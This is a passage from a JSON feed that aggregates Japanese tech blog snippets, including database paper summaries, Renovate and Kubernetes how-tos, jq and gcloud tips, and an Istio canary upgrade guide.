2結果パーティション結合の一種であるリモート書込みを排除したCPR系アルゴリズムは小さな入力に対して有効ではないスケールの大きい結合ではとくに理由が無い場合、パーティションベースのジョインを利用する大きなサイズのページを利用するソフトウェアライトコンバインバッファ()を利用するパーティションジョインでは適切なパーティションビットを利用するできるかぎりシンプルなアルゴリズムを利用するNUMAを考慮したアルゴリズムを利用する実行時間とクエリ時間は同一ではない作業時間read31:3431:34author35:183:46summary77:5042:32","isoDate":"2023-04-23T14:16:28.000Z","dateMiliSeconds":1682259388000,"authorName":"NAKADATE Naoki","authorId":"nnaka2992"},{"title":"コンパイルとベクトル化による最適化のパフォーマンスを比較した論文を読みました","link":"https://nnaka2992.hatenablog.com/entry/cmu_reading_assignments/9_compile_vs_vectorize_performance","contentSnippet":"この記事の趣旨2018年に発表された\\"Everything You Always Wanted to Know AboutCompiled and Vectorized Queries But Were Afraid to Ask\\"という論文を読みました。最新のクエリエンジンの特性をまとめ、どのようなワークロードに向くのかという指針を示すないようです。Everything You Always Wanted to Know About Compiled and Vectorized Queries But Were Afraid to AskTimo Kersten, Viktor Leis, Alfons Kemper, Thomas Neumann, Andrew Pavlo, Peter Boncz著者についてTimo Kersten, Viktor Leis, Alfons Kemper, Thomas Neumann, Andrew Pavlo, Peter Bonczのグループによる論文。いずれも大規模データにおけるクエリパフォーマスや最適化に関する研究を行なっている。問題意識分析ワークロードに向いた最新のクエリエンジンはベクトル化またはデータ中心のコード生成に基づいている。どちらのモデルも従来のエンジンに比べオーバーヘッドが少く、非常に効率的なものの概念的には大きく異なっている。この2つのモデルの違いは、DBMSの実行エンジンのソースコードの構成とその性能特性を決定する基本的なもので、クエリ実行モデルを超える多くの設計で異なる。本論文はことなる2つのモデルを再実装し、環境差異のないマシンで実行することでそれぞれのモデルがどのように違うのか。どのような用途に最適なのかを検証している。手法検証手法は著者らがC++で再実装したデータ中心モデルの「Taper」とベクトル化中心の「Tectorwise」を同一のマシンでパフォーマンス検証を行っている。検証項目は以下から成る1. インメモリOLAPワークロードでのマイクロアーキテクチャ分析1. SIMDの利点の検証1. マルチコアCPUにおけるクエリ並列化1. 異なるハードウェアでのパフォーマンス結果インメモリOLAPワークロードでのマイクロアーキテクチャ分析Figure 3: Performance – TPC-H SF=1, 1 threadSIMDの利点の検証SIMDを評価するにはTectorwiseのみを用いた。SIMDではスカラーなデータをベクトルに変換するペナルティは少く、最大8.4倍の性能向上が確認された。Figure 6: Scalar vs. SIMD Selection in TectorwiseマルチコアCPUにおけるクエリ並列化異なるハードウェアでのパフォーマンスIntel Skylake、Intel Knights Landing、AMD Ryzenで対照実験を行なったものの、いずれのハードウェアでもTyper、Tectorwiseともに有効に動作した。作業時間read29:2629:26author33:233:57summary76:3742:44感想VoectorwiseとHyperのいずれを使うべきか。どちらが優れているかといった疑問に答えるないようだった。","isoDate":"2023-04-21T01:45:06.000Z","dateMiliSeconds":1682041506000,"authorName":"NAKADATE Naoki","authorId":"nnaka2992"},{"title":"Renovateをローカルで動かす","link":"https://kechigon.hatenablog.com/entry/2023/04/20/140449","contentSnippet":"Renovateには様々な実行方法がありますが。ここではローカルで動かす方法について説明します。Renovateをクローンするhttps://github.com/renovatebot/renovateからクローンしましょう。これ以降はクローンしたリポジトリのルートディレクトリで作業します。実行環境コンテナ.devcontainer/Dockerfileをビルドします。docker build -f .devcontainer/Dockerfile -t renovatebot_local .Renovateの依存パッケージをインストールdocker run -it --rm -v \\"$PWD\\":/usr/src/app -w /usr/src/app renovatebot_local yarnローカル実行時のオプションドキュメントを参考に、引数を与えてください。ログレベルdebugでGitLabリポジトリに対して実行する場合は、以下のようになります。例:docker run -it --rm -v \\"$PWD\\":/usr/src/app -w /usr/src/app -e LOG_LEVEL=debug -e GITHUB_COM_TOKEN=*** renovatebot_local yarn start --platform gitlab --token *** {リポジトリ}※{リポジトリ}のところはユーザー名/リポジトリ名のような感じです。","isoDate":"2023-04-20T05:04:49.000Z","dateMiliSeconds":1681967089000,"authorName":"Kurita Keigo","authorId":"kurita"},{"title":"SIMDによるベクトル処理の最適化とRDBでの応用について扱った、最適化に関する論文を読みました","link":"https://nnaka2992.hatenablog.com/entry/cmu_reading_assignments/8_counter_control_flow_divergence_in_compiled_query_pipelines","contentSnippet":"この記事の趣旨2020年に提案された\\"Make the most out of your SIMD investments: counter control flowdivergence in compiled query pipelines\\"という論文を読みました。SIMDによるベクトル処理の最適化とRDBでの応用について扱った、最適化に関する論文です。Make the most out of your SIMD investments: counter control flow divergence in compiled query pipelinesHarald Lang, Linnea Passing, Andreas Kipf, Peter Boncz, Thomas Neumann, Alfons Kemper著者についてHarald Lang、 Linnea Passing、 Andreas Kipf、 Peter Boncz、 Thomas Neumann、 Alfons Kemperのグループによる研究いずれも最新のアーキテクチャでのクエリ最適化やデータ分析における検索手法などを研究している。問題意識CPUの発展にともないあたらしいCPUアーキテクチャが登場した。Single Instruction Multiple Data(SIMD)ではRDBはSIMDによるベクトル処理能力の向上により、クエリコンパイラの実行パイプライン全体をベクトル化して高度なデータ並列性の恩恵を受けることが出来るようになった。一方でクエリ全体をベクトル化して実行することで、SIMDによるクエリ評価が忙しくなる。SIMD評価で結果に寄与しない評価が単純にオーバーヘッドとなってしまう。手法本論文ではリフィルアルゴリズムとそのアルゴリズムをクエリパイプラインプランに統合する手法で上記の問題の解決を試みている。リフィルアルゴリズムは基本的に新しい要素を宛先レジスタの希望する位置にコピーするアルゴリズムで、メモリからレジスタとレジスタからレジスタへのコピーの2パターンが存在する。クエリパイプラインプランに統合するリフィル戦略ではConsume EverythingパターンとPartial Consumeパターンが存在する。Consum Everything戦略は、タプルをバッファリングするために使用される追加のベクターレジスタを割り当てる方法で利用率が低い場合、オペレータはこれらのタプルの処理を延期する。つまり、この反復ではボディは実行されず(条件が満たされない場合)、代わりにアクティブなタプルがこれらのバッファレジスタに移動することになる。Partial Consume戦略ではconsume()コードを入力の一部に適用する方法で、制御フローを前のオペレータに戻し、アクティブなデータ断片のみをベクトルレジスタに残すことで実行を延期している。作業時間read29:4029:40author33:404:00summary60:0426:36感想前回に引続き個人的には難しいと感じる論文だった。2000年前後の提案にくらべ、2015年前後の論文ではハードウェアアーキテクチャを中心とした手法がピックアップされている。単純に自分の知識不足、理解力不足なので勉強するしかない。","isoDate":"2023-04-20T02:00:20.000Z","dateMiliSeconds":1681956020000,"authorName":"NAKADATE Naoki","authorId":"nnaka2992"},{"title":"Markdownのコードブロックとかテキストの文脈に合わせて背景色を変えるtsnode-marker.nvimを作った","link":"https://blog.atusy.net/2023/04/19/tsnode-marker-nvim/","contentSnippet":"2023/04/19のVim駅伝記事です。Neovimはtreesitterを使ってテキストファイルをパースする機能を備えています。代表的な用例は、パース結果に基くシンタックスハイライトですが、文法に従った範囲を取得できるので、コードの折り畳みや、テキストオブジェクトにも活躍します。","isoDate":"2023-04-19T00:00:00.000Z","dateMiliSeconds":1681862400000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"NUMAアーキテクチャでのクエリ最適化に関する論文を読みました","link":"https://nnaka2992.hatenablog.com/entry/cmu_reading_assignments/7_numa_aware_query_evaluation_framework","contentSnippet":"この記事の趣旨\\"Morsel-Driven Parallelism: A NUMA-Aware Query Evaluation Framework forthe Many-Core Age\\"という2014年に発表された、多コアサーバにおけるクエリ最適化手法をあつかった論文を読みました。[Morsel-Driven Parallelism: A NUMA-Aware QueryEvaluation Framework for the Many-Core Age](https://15721.courses.cs.cmu.edu/spring2023/papers/07-scheduling/p743-leis.pdf)Viktor Leis, Peter Boncz, Alfons Kemper, Thomas Neumann著者についてViktor Leis、 Peter Boncz、 Alfons Kemper、Thomas Neumannのグループによる研究いずれもデータベースと 高速化かを中心に研究している。問題意識コンピュータアーキテクチャの進化にともない、二つのあたらしい問題が生じた。多コアを利用するためにクエリを数百のスレッドに均等に分散させるそれをNUMA(Non-Uniform Memory Access)による順序通りではないメモリアクセスで実現する必要がある。これらの要因からplanベースの並列処理による不可分散とコンテキストスイッチとボトルネックが問題になりスケールが難しかった。NUMAによってデータとアクセススレッドがどのチップに配置されるかによって、データ項目のアクセスコストが異なるため、コンピュータ自体がネットワークになっており、多コア並列化では、RAMやキャッシュ階層を考慮する必要がある。この論文ではMoral-drivenクエリ実行フレームワークを提案している。手法提案手法は並列クエリ処理のため、morselドリブンクエリ評価フレームワークを提示した。これはメニーコア時代の分析クエリ性能の主要なボトルネックである負荷分散、スレッド同期、メモリアクセス局所性およびリソース弾力性を解決することを目的としている。ベースとなるアイデアは以下の2つに分けられる。メモリ上のデータをmorselと呼ばれる小さなバッチに分割し、バッチごとに処理を実行したあとにそれぞれの処理結果をグローバルハッシュテーブルとしてまとめる。Figure 3: NUMA-aware processing of the build-phaseディスパッチャと呼ばれる並行パイプライン制御を行ない、ワーカースレッドをタスクに割り当てるFigure 5: Dispatcher assigns pipeline-jobs on morsels to threads depending on the coreまとめとして著者はきめ細かいスケジューリング、完全演算子並列化、低オーバーヘッド同期、NUMA対応スケジューリングの原理を用いて、他のシステムでもメニーコアスケーリングを改善できると示唆している。作業時間read28:3628:36author32:453:09summary60:3727:52感想近現代のサーバアーキテクチャで主流になっているNUMAでのクエリパフォーマンス向上のための論文のため、古典的なものに比べ概念が難しいものが多い。もう少し理解を深めたい。","isoDate":"2023-04-18T01:01:35.000Z","dateMiliSeconds":1681779695000,"authorName":"NAKADATE Naoki","authorId":"nnaka2992"},{"title":"おうちk8sクラスターを構築していて詰まったところ","link":"https://kechigon.hatenablog.com/entry/2023/04/17/174444","contentSnippet":"おうち Kubernetes インターンを参考に機材調達->OSインストール->kubeadamでクラスター構築と一通りやってみたので、トラブったところと解決策を共有します。USBメモリRaspberry PiにOSをインストールする際に、SDカードの性能が悪いと失敗します。私は安物で済ませようとした結果、三枚目でようやく成功しました。またインストール後も、ディスクの読み書き速度は全体のパフォーマンスに影響を与えるので、性能にはこだわるべきです。以下のサイトなどを参考に選びましょう。https://www.kingston.com/jp/blog/personal-storage/memory-card-speed-classeshttps://osusumepc.com/raspberry-pi-microsd/cgroups の Memory Subsystem を有効化私がインストールしたOSでは、cgroups の Memory Subsystem がデフォルトで無効化されているため、/boot/firmware/cmdline.txtに下記を追加する必要がありました。cgroup_memory=1 cgroup_enable=memoryしかし、編集し再起動しても有効化されませんでした。原因は改行を入れて追加していたことでした。改行せず行末に追加するのが正しいです。","isoDate":"2023-04-17T08:44:44.000Z","dateMiliSeconds":1681721084000,"authorName":"Kurita Keigo","authorId":"kurita"},{"title":"列指向DBMSにおけるデータを提案した論文を読みました","link":"https://nnaka2992.hatenablog.com/entry/cmu_reading_assignments/6_hyper_pipelining_query_execution","contentSnippet":"この記事の趣旨\\"MonetDB/X100: Hyper-Pipelining Query Execution\\"という2005年に発表された、列指向DBMSを提案した論文を読んでいきます。分析ワークロード向けRDBMSにおける初期実装であるMonetDBを扱った論文で、提案時期が2005年と古くはあるものの現代のDWHの礎となる内容です。MonetDB/X100: Hyper-Pipelining Query ExecutionPeter Boncz, Marcin Zukowski, Niels Nes著者についてPeter Boncz、Marcin Zukowski、Niels Nseのグループによる論文。いずれの著者も機械学習や分析におけるDBMSについて研究している。問題意識2005年当時のDBMSは他のアプリケーションに比べ、IPCが低くなる傾向にあった。原因はほとんどのDBMSがコンパイラの最適化を阻害する実装だったためである。これはRDBMSが実装された当時に比べCPUやコンパイラが発達したためで、この論文ではC-store DBMSであるMonetDBと従来のR-store DBMSをそれぞれTPC-Hで評価を行い、パフォーマンス阻害要件と最適化方法を提案している。手法CPUによるIF文の処理方法はDBMSにとっては選択性が低く、そういった実行は予測不可能でありクエリ実行を著しく劣らせた。提案手法ではMonetDB/X100として効率的なシーケンシャルアクセスに向けた、C-storeストレージとクエリエンジンを実装した。RAMは提案手法のデータアクセスと同様の方法で圧縮して保存し、Cacheではなベクトル化された処理にもとづくパイプライン実装を使用した。CPUにおいてもベクトル型における式計算を提供し、コンパイラが高効率な処理を生成した。結果として提案手法は従来のDBMS実行に比べTPC-Hで優れた性能をしめした。作業時間read21:3221:32author29:007:28summary56:2027:20感想2005年と古く、またVolcano-likeなど知らない概念も登場した。提案内容としては現代のDWHが採用しているものだった。論文外の感想今回本文を読む時間を大幅に短くしてみたが、それにともない理解度も低下した気がする。やっぱり30分以上で読むのがよさそう。","isoDate":"2023-04-17T01:16:56.000Z","dateMiliSeconds":1681694216000,"authorName":"NAKADATE Naoki","authorId":"nnaka2992"},{"title":"列指向DBMSにおけるデータ圧縮手法の論文を読みました","link":"https://nnaka2992.hatenablog.com/entry/cmu_reading_assignments/5_integrating_compresison_and_execution_in_cstore_dbms","contentSnippet":"この記事の趣旨\\"Integrating Compression and Execution in Column-Oriented Database Systems\\"という2006年に発表されたそれまで行指向DBMSで培われてきた圧縮方法による、検索高速化手法を列指向DBMSに適用・評価した論文を読んで行きます。Integrating Compression and Execution in Column-Oriented Database SystemsDaniel J. Abadi, Samuel R. Madden, Miguel C. Ferreira著者についてDaniel J. Abadi、Samuel R. Madden、Miguel C. Ferreiraのグループ。それぞれDBMSやデータ分析に関連する手法やパフォーマンスについて研究している。問題意識2006年ごろの研究ということもありC-storeデータベースの研究が少なかった時期の論文。既に検索パフォーマンスに寄与することがしられていたR-storeデータベースの圧縮手法を、C-storeへ応用や評価を行なった。手法提案手法は以下の圧縮技術の組み合わせからなる。Null圧縮辞書エンコーディングRun Lengthエンコーディングビットベクターエンコーディングエンコーディングで、それぞれのカテゴリに属するかどうかをバイナリで表現する圧縮方法Lempel-ZivエンコーディングGZIPでも使用されている圧縮方式。データの非重複ブロックを解析して既存のデータは対応するブロックへのポインタに、それ以外のみを新規に追加する。提案手法は圧縮方式が増えてもアクセスパターンをシンプルに留めるためにアクセス方法をAPIとして隠蔽した。そのため異なるエンコーディングも同一のAPIで保存でき、同一のAPIでも取得できる。当然ながら一つのエンコーディングで全てのデータに対応することは難しく、論文では使用すべき圧縮スキームの選び方を以下のようにまとめている。Figure10感想C-storeにおける古典的な圧縮手法がまとまった論文だった。近代DWHを利用する側では意識することが少ない部分だったためあたらしい知識も多かった。作業時間read26:5026:50author33:306:40summary58:2024:50","isoDate":"2023-04-16T02:58:29.000Z","dateMiliSeconds":1681613909000,"authorName":"NAKADATE Naoki","authorId":"nnaka2992"},{"title":"Kubernetes の Probe の仕組みと考慮点","link":"https://zenn.dev/toversus/articles/5d1292160f5035","contentSnippet":"!Kubernetes 1.26 時点の話で、以降のマイナーバージョンで改善されている可能性があります。Kubernetes には、ワークロードの正常性を確認するための Probe という仕組みがあり、Liveness / Readiness / Startup Probe が用意されています。kubelet (Kubernetes のノード上で動作するエージェント) は、ワークロードに対して TCP Socket / HTTP GET / gRPC / Exec の中から指定されたチェックを定期的に実行します。それぞれの Probe の特性を理解して使い分けないとサービスに影響...","isoDate":"2023-04-10T02:20:29.000Z","dateMiliSeconds":1681093229000,"authorName":"Tsubasa Nagasawa","authorId":"toVersus"},{"title":"GitLab CI で artifacts:reports:dotenv を使って Job をまたいで変数を渡す","link":"https://blog.1q77.com/2023/04/gitlab-ci-artifacts-report-dotenv/","contentSnippet":"GitLab CI である Job で変数を定義して、それを後続の Job でも使いたいなと思って調べていたら artifacts:reports:dotenv にたどり着いたのでメモ。 以下、使用例 stages: - stage1 - stage2 - stage3 - stage4 job1: stage: stage1","isoDate":"2023-04-04T16:27:22.000Z","dateMiliSeconds":1680625642000,"authorName":"yteraoka","authorId":"yteraoka"},{"title":"Orbstack を Docker Desktop の代わりに使う","link":"https://blog.1q77.com/2023/04/orbstack/","contentSnippet":"きっかけ brew update して新しく追加された formula を眺めるのが最近のちょっとした楽しみ — yteraoka (@yteraoka) January 12, 2023 で、orbstack っていう formula が追加されてるのを見てほー、","isoDate":"2023-04-04T13:17:51.000Z","dateMiliSeconds":1680614271000,"authorName":"yteraoka","authorId":"yteraoka"},{"title":"kube-proxy の externalTrafficPolicy=Local の改善","link":"https://zenn.dev/toversus/articles/6eeb3b708bdff3","contentSnippet":"tl;dr;Service type LoadBalancer の externalTrafficPolicy: Local は、Kubernetes 1.26 まで Pod のローリング更新時にトラフィックが喪失する問題があるので注意kubernetes-sigs/cloud-provider-kind は、ローカル環境でクラウドリソース (現在は LB のみ) が絡む処理をシミュレートできて便利GKE Dataplane v2 を利用している場合、GKE 1.26.1 時点で Cilium に externalTrafficPolicy: Local の改善が入ってい...","isoDate":"2023-03-29T01:31:20.000Z","dateMiliSeconds":1680053480000,"authorName":"Tsubasa Nagasawa","authorId":"toVersus"},{"title":"PagerDuty で一定期間アラートを抑制する","link":"https://zenn.dev/toshikish/articles/6958af565e6c65","contentSnippet":"PagerDuty でアラートを受け取っているプロジェクトで,以下のようにある時間帯はアラートを止めたいケースがあります。メンテナンスが予定されている。開発環境は営業時間内だけ動かすので,平日夜や土日祝日は止めたい。何も対策しないとアラートが鳴ってしまい,オンコール担当者を不用意に呼び出す結果になるので,そうならないようにきちんと設定します。 TL;DR各ケースで以下のように設定します。メンテナンス→メンテナンスウィンドウを設定平日夜・土日停止→曜日・時刻ベースのイベントルールを追加 方法1:メンテナンスウィンドウメンテナンスなどでダウンする時間帯があらかじ...","isoDate":"2023-03-27T08:38:39.000Z","dateMiliSeconds":1679906319000,"authorName":"toshikish","authorId":"toshikish"},{"title":"jq commandの select でハマった話","link":"https://zenn.dev/satohjohn/articles/79faafa55e9a1e","contentSnippet":"結論配列のjsonに対してselectする際には、配列を一度オブジェクトの抽出をしないと複製されてしまう。なので、以下ではなくjq -r \'select(.[].A | contains(\\"特定文字列\\")) | .[].B\' test.jsonこうしないといけないjq -r \'.[] | select(.A | contains(\\"特定文字列\\")) | .B\' test.json 環境$ jq --version jq-1.6 詰まった内容以下のjson(test.json)があったときにtest.json[ { \\"hog...","isoDate":"2023-03-25T16:36:44.000Z","dateMiliSeconds":1679762204000,"authorName":"SatohJohn","authorId":"SatohJohn"},{"title":"ふと、思いだしたときに確認するって大事ですね、という話","link":"https://zenn.dev/nedoko_dok0dko/articles/174811e1685df2","contentSnippet":"本日、こんなお知らせが流れてきた。We updated our RSA SSH host key「そういえば、プライベートのPCでRSA使ってた…」と思い出したので、確認。$ ssh -T git@github.com@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ WARNING: REMOTE HOST IDENTIFICATION HAS CHANGED! @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@IT I...","isoDate":"2023-03-24T13:27:59.000Z","dateMiliSeconds":1679664479000,"authorName":"seno","authorId":"seno"},{"title":"Kubernetes と名前解決","link":"https://zenn.dev/toversus/articles/d9faba80f68ea2","contentSnippet":"tl;dr外部サービスのホスト名の末尾に . (ドット) を必ず指定しましょう。✅\xa0google.com.❌\xa0google.com末尾にドットを指定できない (e.g. SDK 組み込み) かつ大量の名前解決が発生している場合は、Pod の DNS Config の options で ndots: 1 を指定しましょう。Kubernetes の名前解決の仕組みを理解していないと、各ノードの conntrack テーブルが溢れてパケットが破棄され、サービスに影響が出ることがあります。 背景アプリケーションが外部のサービスを呼び出す場合、ホスト名を IP アド...","isoDate":"2023-03-22T07:36:38.000Z","dateMiliSeconds":1679470598000,"authorName":"Tsubasa Nagasawa","authorId":"toVersus"},{"title":"cloud runの要らなくなったリビジョンを消す","link":"https://zenn.dev/satohjohn/articles/2a769b8280427d","contentSnippet":"小ネタです。運用をしていて、たくさんリリースしているとリビジョンが増えていることとかもあるかなと思いますが、コンソール上から消すのも面倒なので、コマンドで消しましょう。というか、解説することもないので、結論と詰まった部分だけ残しておきます。 結論 ACTIVEじゃないものをすべて消す#!/bin/bashSERVICE_NAME=$1revisions=$( gcloud run revisions list --service=$SERVICE_NAME \\\\ --filter=\\"status.conditions.type:Active AND s...","isoDate":"2023-03-21T02:35:43.000Z","dateMiliSeconds":1679366143000,"authorName":"SatohJohn","authorId":"SatohJohn"},{"title":"Datadog Agent からの Metrics を Victoria Metrics で受ける","link":"https://blog.1q77.com/2023/03/send-datadog-metrics-to-victoriametrics/","contentSnippet":"Victoria Metrics は v1.67.0 で Datadog Agent からのメトリクスを受け取れるようになっているので今回はこれを試してみる。 Victoria Metrics のドキュメント How to send data from DataDog agent Single node Instance をセットアップ Victoria","isoDate":"2023-03-19T12:38:04.000Z","dateMiliSeconds":1679229484000,"authorName":"yteraoka","authorId":"yteraoka"},{"title":"Azure Bicep で Storage Account の SSE を設定する","link":"https://zenn.dev/kyohei_saito/articles/fb102fd2af31e2","contentSnippet":"Azure Bicep で Storage Account の SSE (サーバー側暗号化) を設定してみようとしたところ、思ったより難しかったのと、やりたいことそのままのサンプルコードがなかったため、調査した内容を公開してみます。 この記事で書いてあることAzure Bicep を使用して Storage Account の SSE を設定する方法 サンプルコード早く使い方とコードを見たい、という方向けにまずはサンプル コードについて記載します。この記事で説明するサンプル コードの全体は下記を参照ください。https://github.com/kiyo-s/crea...","isoDate":"2023-03-19T04:44:58.000Z","dateMiliSeconds":1679201098000,"authorName":"Kyohei Saito","authorId":"kiyos"},{"title":"k8s.gcr.io の凍結対応から学んだことメモ","link":"https://zenn.dev/kyohei_saito/articles/d0080d94dae0b7","contentSnippet":"今まで Kubernetes プロジェクトのコンテナ イメージをホストしていたイメージ レジストリ k8s.gcr.io が凍結されることが発表されました。この記事では、k8s.gcr.io から registry.k8s.io に移行する過程で学んだことについて、備忘としてメモします。 この記事で書いてあることk8s.gcr.io から registry.k8s.io に移行した流れhelm で、dependencies によって外部の chart を install している場合に、外部の chart の values を設定する方法skopeo によりローカルで ...","isoDate":"2023-03-18T19:08:14.000Z","dateMiliSeconds":1679166494000,"authorName":"Kyohei Saito","authorId":"kiyos"},{"title":"[Terraform] aws_networkfirewall_firewall リソースから VPC エンドポイント ID を取り出す","link":"https://zenn.dev/toshikish/articles/fc08c2021811f9","contentSnippet":"はじめにTerraform を使って AWS Network Firewall のファイアウォールを作るとき,生成された VPC エンドポイントの ID をサブネットのルートテーブルのルートに追加するのは自然な流れですが,VPC エンドポイント ID を取り出すのが大変だったので,やり方を記録しておきます。例えば以下のように aws_networkfirewall_firewall リソースを定義したとします。(特に説明のない変数やリソースは,なんとなくの理解で構いません。)resource \\"aws_networkfirewall_firewall\\" \\"firewall\\" ...","isoDate":"2023-03-16T07:58:23.000Z","dateMiliSeconds":1678953503000,"authorName":"toshikish","authorId":"toshikish"},{"title":"ビットコイン・ライトニングネットワーク概論","link":"https://speakerdeck.com/shukob/bitutokoinraitoningunetutowakugai-lun-749a7a47-5e72-4585-bcfd-40e8643a7143","contentSnippet":"https://event.ospn.jp/osc2023-online-spring/session/809175\\rビットコインは送金トランザクションの処理量に限界があり、ブロックチェーンの外での送金を行うオフチェーン技術により手数料の軽減と、送金の高速化を実現できます。\\r\\rオフチェーンの中でもビットコインと同様、中央管理者のいないライトニングネットワークの開発が進んでいます。\\r\\rライトニングネットワーク技術の骨格をまとめました。","isoDate":"2023-03-11T05:00:00.000Z","dateMiliSeconds":1678510800000,"authorName":"Shu Kobuchi","authorId":"kobuchi"},{"title":"振り返り (2020 - 2022)","link":"https://zenn.dev/toversus/articles/8557a7fb2bc15c","contentSnippet":"コロプラに 2020/3/1 に入社して、2023/2/28 付けで退職したので、丸々 3 年間勤務したことになります。本当の意味での大規模 Kubernetes 環境で貴重な経験をさせて貰い感謝しかないです。記憶が新しい内に、この 3 年間でやってきたことを公開できる範囲で整理しました。 GitOps 風なマニフェスト管理への移行インフラチームで管理している監視ツールやアドオンなコンポーネントを Helm でインストールしていました。マルチクラスタな環境で手動インストールはスケールしないので、Helmfile で生成した各クラスタのマニフェストを Argo CD で同期する方式に...","isoDate":"2023-03-05T14:17:49.000Z","dateMiliSeconds":1678025869000,"authorName":"Tsubasa Nagasawa","authorId":"toVersus"},{"title":"Devbox を使った開発環境","link":"https://blog.1q77.com/2023/03/devbox/","contentSnippet":"ローカル環境を汚さずDockerコンテナのオーバーヘッドもなく、開発環境を自在に構築できる「Devbox 0.2.0」登場 - Publickey この記事を最初に","isoDate":"2023-03-04T15:05:12.000Z","dateMiliSeconds":1677942312000,"authorName":"yteraoka","authorId":"yteraoka"},{"title":"2023年もSRE再考と叫びなさい‼️","link":"https://speakerdeck.com/nwiizo/2023nian-mosrezai-kao-tojiao-binasai","contentSnippet":"2023年もSRE再考と叫びなさい‼️ SREの跡を求めず SREの求めたるところを求めよ というタイトルで登壇してきました\\r\\r2023年3月3日 エンジニア文化祭 2023\\rhttps://forkwell.connpass.com/event/272596/\\r\\r『2023年もSRE再考と叫びなさい!!』というタイトルで登壇しました - じゃあ、おうちで学べる\\rhttps://syu-m-5151.hatenablog.com/entry/2023/03/03/105049","isoDate":"2023-03-03T05:00:00.000Z","dateMiliSeconds":1677819600000,"authorName":"nwiizo","authorId":"nwiizo"},{"title":"Insertモードでも気軽に←・→したい","link":"https://blog.atusy.net/2023/03/03/horizontal-arrows-on-insert/","contentSnippet":"本記事は3/3のVim 駅伝の記事です1。概要通常、Vim/NeovimのInsertモードで←や→を使うと、Undo blockが途切れます。これではUndoやドットリピートが直感に反するケースがあるので、以下のようにマッピングしておくと便利です。Insertモード中で水平移動してタイポ修正する人や、自動入力された閉括弧の外側へ→で移動した後、NormalモードでUndoやドットリピートする時に活躍します。","isoDate":"2023-03-03T00:00:00.000Z","dateMiliSeconds":1677801600000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"Snowflakeでのコスト管理","link":"https://zenn.dev/nedoko_dok0dko/articles/ffe6450c4cd851","contentSnippet":"Snowflakeを最近触ってみることがあったので、コスト周りについて個人的に調べたログ参考ドキュメント↓Snowflakeでのコスト管理 | Snowflake Documentation お品書きSnowflakeのコストについてSnowflakeのコスト調査Snowflakeのコスト制御 SnowflakeのコストについてSnowflakeでのコストは次の3つの領域に分類される。コンピューティング: ユーザー管理(仮想ウェアハウス)、Snowflake管理(Snowpipeなどのサーバーレス機能)、およびクラウドサービスストレージ: データステージング...","isoDate":"2023-02-28T10:45:26.000Z","dateMiliSeconds":1677581126000,"authorName":"seno","authorId":"seno"},{"title":"【Istio⛵️】Istioを安全にアップグレードするカナリア方式とその仕組み","link":"https://hiroki-hasegawa.hatenablog.jp/entry/2023/02/26/202548","contentSnippet":"この記事から得られる知識この記事を読むと、以下を \\"完全に理解\\" できます✌️Istioのアップグレード手法の種類について安全なカナリア方式の仕組みについてこの記事から得られる知識01. はじめに02. なぜ安全なアップグレードが必要なのか起こりうる問題採用するべきアップグレード手法03. アップグレード手法を説明する前にカナリアリリースとはカナリアリリースの手順(1) 新環境のリリース(2) 新環境への重み付けルーティング(3) 実地的テストの実施(4) 重み付けの段階的変更『カナリアリリース』の呼称の由来04. アップグレード手法の概要(1) アップグレード前の検証(2) 新Istiodのインストール(3) Webhookの宛先のServiceの変更(4) Istio IngressGatewayをインプレースアップグレード(5) 一部のNamespaceのistio-proxyコンテナをアップグレード(6) ユーザの手を借りたテスト(7) istio-proxyコンテナの段階的アップグレード(8) 旧Istiodのアンインストール05. アップグレード手法の詳細istioctl コマンドを使用したアップグレード前提NamespaceIstiodIstio IngressGatewayマイクロサービス(1) アップグレード前の検証ここで実施することistioctl x precheckコマンドkubectl getコマンド▼ IstiodのDeployment▼ Webhookの宛先のService▼ 宛先のServiceを決めるMutatingWebhookConfiguration(2) 新Istiodのインストールここで実施することistioctl versionコマンドistioctl installコマンドkubectl getコマンド▼ IstiodのDeployment▼ Webhookの宛先のService▼ Webhookの宛先のServiceを決めるMutatingWebhookConfiguration(3) Webhookの宛先のServiceの変更ここで実施することistioctl tag setコマンド(4) Istio IngressGatewayをインプレースアップグレードここで実施することkubectl rollout restartコマンド(5) 一部のNamespaceのistio-proxyコンテナをアップグレードここで実施することkubectl rollout restartコマンド(6) ユーザの手を借りたテストここで実施することもし問題が起こった場合(7) istio-proxyコンテナの段階的アップグレードここで実施することkubectl rollout restartコマンド(8) 旧Istiodのアンインストールここで実施することistioctl uninstallコマンドkubectl getコマンド▼ IstiodのDeployment▼ Webhookの宛先のService▼ 宛先のServiceを決めるMutatingWebhookConfiguration06. おわりに記事関連のおすすめ書籍01. はじめに隠しません。有吉弘行のサンデーナイトドリーマー は人生のバイブルです。さて、最近の業務でIstio⛵️をひたすらアップグレードしています。今回は、採用したアップグレード手法の紹介も兼ねて、Istioの安全なアップグレード手法の仕組みを記事で解説しました。Istioのアップグレード手法には変遷があり、解説するのは執筆時点 (2023/02/26) で最新の 1.14 系のアップグレード手法です。それでは、もりもり布教していきます\uD83D\uDE1702. なぜ安全なアップグレードが必要なのか起こりうる問題そもそも、なぜIstioで安全なアップグレードを採用する必要があるのでしょうか。Istioで問題が起こると、Pod内のistio-proxyコンテナが正しく稼働せず、システムに大きな影響を与える可能性があります。例えば、istio-proxyコンテナのPodへのインジェクションがずっと完了せず、アプリコンテナへの通信が全て遮断されるといったことが起こることがあります。採用するべきアップグレード手法執筆時点 (2023/02/26) では、Istiodコントロールプレーン (以降、Istiodとします) のアップグレード手法には、『インプレース方式』と『カナリア方式』があります。また合わせてアップグレードが必要なIstio IngressGatewayには、その手法に『インプレース方式』があります。今回の安全なアップグレード手法として、Istiodでは『カナリアアップグレード』、Istio IngressGatewayでは『インプレースアップグレード』を採用します。Istio / Canary UpgradesIstio / Installing Gateways03. アップグレード手法を説明する前にカナリアリリースとはIstiodのカナリアアップグレードが理解しやすくなるように、カナリアリリースから説明したいと思います。カナリアリリースは、実際のユーザーにテストしてもらいながらリリースする手法です。もしカナリアリリースをご存知の方は、 04. アップグレード手法の概要 